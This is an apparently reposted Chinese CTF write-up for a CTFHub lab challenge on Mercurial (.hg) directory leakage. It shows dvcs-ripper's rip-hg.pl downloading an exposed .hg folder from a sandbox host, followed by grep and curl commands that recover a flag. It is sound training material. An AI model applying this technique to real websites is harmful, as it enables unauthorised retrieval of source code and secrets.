0


CTFHub | HG泄露

0x00 前言

    CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

    

    

0x01 题目描述

HG泄露:

    当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。


网页显示内容

    Flag 在服务端旧版本的源代码中, 不太好使的情况下, 试着手工解决。

0x02 解题过程

    这题与之前的题目比较类似,同样使用 dvcs-ripper 工具下载泄露的网站目录,但是使用工具过程中出现了一些错误,导致网站源代码没有完整下载。正如网页显示内容中的提示所说,不好使的情况下,试着手工解决。那么此题目是让我们不要过度依赖工具的使用。使用 tree 命令列出下载到本地目录的所有文件。发现一个可疑的文本文件,查看文本文件发现历史记录中一个新增的 flag 文件。正则搜索相关文件发现可疑文本,使用 curl 命令检查发现此题flag。

    

根据题目描述,在CTFHub上下载关于HG泄露的漏洞利用工具

https://github.com/kost/dvcs-ripper

终端打开工具所在目录

cd /home/kali/桌面/dvcs-ripper-master/dvcs-ripper-master

安装工具所需依赖库

apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl

使用dvcs-ripper下载泄露的文件发现提示404报错和两处完成,可能是没有完整下载网站目录

./rip-hg.pl -u http://challenge-137f105811083a40.sandbox.ctfhub.com:10800/.hg

使用tree命令列出刚刚下载的.hg网站目录,发现可疑的文本文件

tree .hg

查看可疑的文本文件是否存在此题flag,发现历史版本add flag

cat .hg/last-message.txt

发现历史版本可以使用正则表达式进行关键字查找

grep -a -r flag

使用curl命令检查一下data数据中的文本文件,发现此题flag

curl http://challenge-137f105811083a40.sandbox.ctfhub.com:10800/flag_1682217975.txt

0x03 HG泄露漏洞

    Mercurial 是一种轻量级分布式版本控制系统,采用 Python 语言实现,易于学习和使用,扩展性强。其是基于 GNU General Public License (GPL) 授权的开源项目。
    在 Mercurial 轻量级分布式版本控制系统中,本地既可以当做版本库的服务端,也可以当做版本库的客户端。版本库与工作目录不同,版本库存放了所有版本,而工作目录只是因为特定需要存放特定版本。与 SVN 系统不同,SVN 的版本库集中在一台服务器中。这也导致很多初次使用 Mercurial 系统的工作者,因为操作失误导致出现 HG 泄露漏洞的主要原因。

    

    

0x04 参考文献

[1].百度百科. Mercurial[EB/OL]. [2022-10-17]. https://baike.baidu.com/item/Mercurial/6615059.

0x05 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

标签: web安全 CTF

本文转载自: https://blog.csdn.net/m0_51191308/article/details/127357885
版权归原作者 尼泊罗河伯 所有, 如有侵权,请联系我们删除。

“CTFHub | HG泄露”的评论:

还没有评论